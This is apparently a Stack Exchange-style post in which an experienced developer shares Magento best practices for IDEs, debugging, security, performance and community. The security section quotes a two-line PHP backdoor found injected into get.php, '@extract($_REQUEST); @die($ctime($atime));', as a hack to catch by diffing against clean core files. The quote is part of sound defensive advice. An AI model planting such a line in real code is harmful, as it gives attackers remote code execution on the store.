My question is really simple. What are your goto recommendations for working with Magento, be it local workflow or debug methods, what works best, when, what can I learn from your best practices?

I've worked with Magento since the beginning. I'm excited about Magento 2, PSR, and all the nice coding practices the community agreed too. The Magento 1 architecture is great too. Along the way I've had to resolve issues, sometimes in production code on a large build taking a quarter million in orders a day.

Here's some of the things I've used to get through Magento, what do you use that I haven't learned yet?

IDE Usage -

PHPStorm https://www.jetbrains.com/phpstorm/. That one is a no brainer... project indexing, an intelligent IDE that will yell at you for making simple mistakes. Unless you're a wizard at modying vi to reproduce PHPStorm features, anything less than PHPStorm on a Magento project is stupidity.

There is of course Magicento http://magicento.com/ which adds some nice features for PHPStorm + Magento, it'll at least save a few headaches on mis-matching a config.xml expectation. However, I assert if you can't do it by yourself and understand what you're doing, please don't use this tool if only to save the community from parsing your errors.

The alternative to Magicento? Easy... n98 https://github.com/netz98/n98-magerun generates meta data for PHPStorm. Easily your most useful Magento tool next to your IDE, and it will enhance it if you use PHPStorm.

modman https://github.com/colinmollenhour/modman a no brainer. While developing custom Magento mods you can keep it real clean. Oh and for the community on github this is simply the standard.

Codesniff... start holding your code to the PSR standards (and higher, the highest possible standards you can wrap your head around). http://www.php-fig.org/psr/ Magento 2 is PSR compliant, get used to it.

Debugging -

This little gem has taken me through every layer of functionality in every context you can imagine... and if you're careful (don't dump nasty large recursive objects) you can debug your way through a production environment with it... and if you want to handle suppressing the recursion and get more out of big objects use the Mediotype Debugger class instead of the Mage log class... https://github.com/Mediotype/MagentoCore/blob/master/app/code/community/Mediotype/Core/Helper/Debugger.php

Mage::log( array( "NOTE" => $data), null, 'fix-the-problem.log');

Temporarily adding the above line of code (corrected for your context) to the right place can turn an ambiguous Magento error log into a meaningful and exact log, like simple xml can't parse your config xml (somewhere)... modify the above and add it into the config parser to find out exactly where that is coming from.

Watch out for the "@" http://php.net/manual/en/language.operators.errorcontrol.php usage in third party modules, which may be swallowing errors. Print any majorly swallowed errors.

/** Throw an old error outputting technique below the Mage::app() call in index.php */

Xdebug + PHPStorm - Breakpoints? Works until you have ioncube in your project at least.

Zend Server http://www.zend.com/en/products/server/features That's right, a new stack from Zend with a rich and deeply insightful active / step debugging integration. The novelty is at least appealing in your agency's development environments.

Use Casper.js http://casperjs.org/ and process sitemap.xml to find JS errors.

Evaluate any re-write conflicts and handle them properly. If that doesn't work evaluate all the re-writes.

Evaluate all the registered events, keep a keen eye out for modules that listen to global events like 'controller_action_layout_load_before' don't be an idiot and hook into global events... if you think its the right thing to do, you're probably wrong... If you have bugs on your site you might look at the functions in your observer's and make sure they're not doing something stupid, like modifying data by reference passed through the event observer object. If an observer throws a suppressed fatal error, your application will die with no insight into the source of the problem. Make sure observers are either hooked in granularly (most specific possible event) and make sure they only execute any functional code if they're supposed to (check conditions).

Switch the database into debug mode. Change the following to 'true' in lib/Varien/Db/Adapter/Pdo/Mysql.php

protected $_debug               = false;

Or if you really just want the bad query, add a Mage::log into the catch call in \Varien_Db_Adapter_Pdo_Mysql::query

Get used to searching the database for values, and tracking the data back into the application to understand how the data makes the application behave. SQL is often the easiest way to find data problems, and if proficient, fix them.

Security -

Scan your Magento site and make sure patches are applied - https://www.magereport.com/

Keep Development running through your versioning control system. NEVER EVER ALLOW FTP DEVELOPMENT ON YOUR PRODUCTION SYSTEM.

Implement Release and build control, if you're not there yet, use Fabrizio Branca's - https://github.com/AOEpeople/magento-deployscripts You probably ought to learn how to use the rest of AOE's module's as well. I wrote my own deploy command, I think Fabrizio's used to be named 'release' but now its 'deploy' which seems more appropriate, anyhow the composer structure and functionality in that repository is insanely valuable and you should use it. Ultimately you really should write your own if you want to master your release process. Developers have been wielding this type of weapon for years, ant builds are even still used today at very large fortune 50 companies.

Use OS X Filemerge or the diff linux command to regularly identify Magento files that differ from a clean Magento pack matching your version. Use Fabrizio's mpmd https://github.com/AOEpeople/mpmd n98 command add on for a nice report view of the diff command. Inspect differences, know what they do. This practice has lead me to catch the now infamous hack that serialized form post data into fake .gif files for CC leaking... long before Nexcess released their article about it. It helped me find another sneaky hack that I haven't heard mention of in the Magento community yet... This was pretty slick, much simpler than the PHP shell that drove the CC leak hack... I found these extra lines in get.php... p.s. Filemerge is a great way to perform Magento Upgrades and learn about all the release changes while catching core hacks and edits.

@extract ($_REQUEST); 
@die ($ctime($atime));


If any code in your site besides core Magento classes reference $_COOKIE or $_SESSION... get rid of it... if they curl requests out to a third party server in a foreign country... you're hacked.

Use paros proxy http://sectools.org/tool/paros/ to find JavaScript vulnerabilities.

Use the Magento sanitizers where appropriate -


New Relic http://newrelic.com/ - Yeah for securtiy, use the external calls tab and make sure you know what your Magento store is communicating with... You thought New Relic would be in the performance section... it will be.

Use triplecheck.io to evaluate third party extensions, test the extensions for performance and code integrity that you install on your site.

Performance -

Magento's capable... very. Indexing... slows down with a large catalog, that can be modded, the catalog can be backended with a document storage engine (solr,elasticsearch,redis,couch), indexing can be done with direct sql statements (if you know the system well enough). Know your baseline. The Magento Performance Tool Kit will simulate as many scenarios as you want with a clean OOTB Magento... run it, know where the limits are. If your build isn't close, its your modules and implementation. Rarely is it the server stack.

HHVM works great with Magento, I've run multiple builds in production on it for almost a year, some in Europe are, a few others in the US are starting to. But again, know where it breaks and when it has to scale out. PHP7 has repurposed to 'being more prepared for JIT (AOT) so HHVM has a few more years of relevancy with PHP7 forgoing the JIT. Tegan Snyder nailed at least 70% of an operating HHVM stack if you want to try it here: https://gist.github.com/tegansnyder/96d1be1dd65852d3e576 The rest is up to you to work out, if you can't get through it you shouldn't be using it anyhow or should be using Mediotype's stack and partner cloud management services leveraging it.

If you want to know what kind of load your EE store can handle, try Lagrange Systems http://www.lagrangesystems.com/, AOE or Mediotype they've got it nailed down. You can create your own simulations based on the Magento Performance Toolkit and run it against your environment.

FPC Full Page Cache - the double edge sword. On the one side it can make a site blazing fast and handle more users. On the other side, your cached contents could be masking the performance issues of your site. Turn it off sometimes and make sure your server response times are sub 1500ms (preferably 1000ms) without full page cache. If your response is slow use the Magento Profiler and find the slow running code, then fix it.

The number one issue I see with slow templates is collections poorly loaded, then looped through to load each model individually. Be smart, if 1 visitor on a page causes 200 (or 2000) db selects, then 100 users on that page would hit 20000 db transactions (or 200000).

Try running blackfire.io https://blackfire.io/ with FPC off and see what your transactions are like (scale of function calls and db interaction). On a OOTB Magento build with 250,000 configurable products using 190 attributes to configure on, a category page should fire less than 300 Magento events and talk to the db less than 150 times and deliver from the server in 250ms. Find the high transaction producing code and re-write it correctly.

Those pretty poorly coded layered navigation modules out there tend to kill category performance. The new Magento Color Swatch module kills category performance, don't use it... 20+second category load with 5 products and 10 colors. Try the Magento Profiler and turn all your modules off then back on one at a time, really measure how each module affects the system's performance.

New Relic should show a consistent flatline response time!!! Ideally sub 400ms. Use New Relic and find which modules are talking to remote servers, disable their remote calls, they're killing performance.

Cache models after loading them if you don't need to look them up regularly (destroy the cache when the models change).

Don't, and I mean don't ever use the PHP getimagesize function against URLs... first its the slowest performing PHP function there is. Second, if you're using your own domain's url (when you could use the file system), especially if you're doing it in a loop of a product collection, you just nuked your server's queue, your application is competing with your visitors for your servers attention, this is a bad situation that limits concurrency and one I've seen dozens of times now.

Speed up your store by using a CDN, S3, gzip, cache control headers, opcache, redis, HHVM (if you don't have error ridden code), etc... and first and foremost by writing really awesome Magento code!


I've learned to pay attention to github, Ben Marks https://twitter.com/benmarks, Magento Corp, and a few other leaders in the Magento community, go to Magento events, get to know the people. If you get the chance to work with some of the leaders in the community, take advantage of it, soak up everything you can.

Github. Whenever possible, open source up your code and get the community to work with it and contribute back. Pay attention to the key players, there are only a few dozen of them and they're not hard to find. Checkout the Magento Hackathon assets https://github.com/magento-hackathon. Figure out who (or what agencies) are sub-par and stay away from their practices until they clean up their act.

Key Players -


Run through the people associated with the hackathon, there are a ton of leading resources from the developers who have touched the hackathon.

Walking through the code that was written for me by other developers (i.e. Varien_Object) is one of the best resources I've found for Magento, especially the Adminhtml controllers and the core frameworks. Wouldn't it be great if the code I leave for other developers was as valuable a resouce?

Magento Imagine http://imagine.magento.com/ Hopefully I'll see you there!

So your turn, what are you goto recommendations for working with Magento, what can I learn from your best practices?

  • Looks like you answered your simple question yourself ;) – Fabian Schmengler Oct 14 '15 at 14:24
  • This is not Q&A... You should write a blog post somewhere... – 7ochem Oct 14 '15 at 14:46